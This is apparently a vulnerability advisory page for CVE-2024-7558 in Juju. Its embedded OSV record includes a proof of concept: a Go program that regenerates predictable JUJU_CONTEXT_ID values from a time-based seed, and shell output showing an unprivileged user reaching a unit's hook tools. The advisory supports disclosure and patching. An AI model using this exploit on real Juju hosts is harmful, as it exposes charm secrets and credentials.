CVE-2024-7558: Github.com/juju/juju JUJU_CONTEXT_ID Is A Predictable Authentication Vulnerability
MODERATECVE-2024-7558 is a MODERATE (CVSS 8.7) juju_context_id is a predictable authentication vulnerability (CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)) affecting Github.com/juju/juju libraries in the Go ecosystem. The issue involves juju_context_id is a predictable authentication secret. Remediation is available by upgrading affected packages to version 0.0.0-20240826044107-ecd7e2d0e986.
CVE-2024-7558 at a Glance
Security Impact
CVSS: 8.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H).
How to Fix CVE-2024-7558
To remediate this vulnerability, upgrade all affected Github.com/juju/juju dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/juju/juju to 0.0.0-20240826044107-ecd7e2d0e986
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/juju/juju
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-7558, inspect your project dependencies for Github.com/juju/juju:
inspect dependencies for github.com/juju/juju
Analyze the terminal output to locate any version of Github.com/juju/juju in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20240826044107-ecd7e2d0e986), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG), where a pseudo-random number generator (prng) is initialized from a predictable seed, such as the process id or system time. In Github.com/juju/juju, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-7558 Affected Github.com/juju/juju Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/juju/juju
|
Go |
< 0.0.0-20240826044107-ecd7e2d0e986
|
0.0.0-20240826044107-ecd7e2d0e986
|
References
Frequently Asked Questions
What is CVE-2024-7558?
Which Github.com/juju/juju versions are affected?
What version fixes CVE-2024-7558?
Is github.com/juju/juju affected?
What is the CVSS score of CVE-2024-7558?
What CWE is associated with CVE-2024-7558?
How can I check Go dependencies for CVE-2024-7558?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mh98-763h-m9v4",
"modified" : "2024-10-09T22:48:18Z",
"published" : "2024-10-03T16:49:58Z",
"aliases" : [ "CVE-2024-7558" ],
"summary" : "JUJU_CONTEXT_ID is a predictable authentication secret",
"details" : "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n| `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n - name: ubuntu\n channel: 22.04/stable\n architectures:\n - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit \"sleepy/0\" started'\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n File: unit-sleepy-0.log\n Size: 1403 \tBlocks: 8 IO Block: 4096 regular file\nDevice: 10302h/66306d\tInode: 25967076 Links: 1\nAccess: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(&unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(&unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(¤tHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i < 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/juju/juju"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20240826044107-ecd7e2d0e986"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
}, {
"type" : "WEB",
"url" : "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/juju/juju"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2024-3173"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1391", "CWE-337", "CWE-340" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-10-03T16:49:58Z",
"nvd_published_at" : null
}
}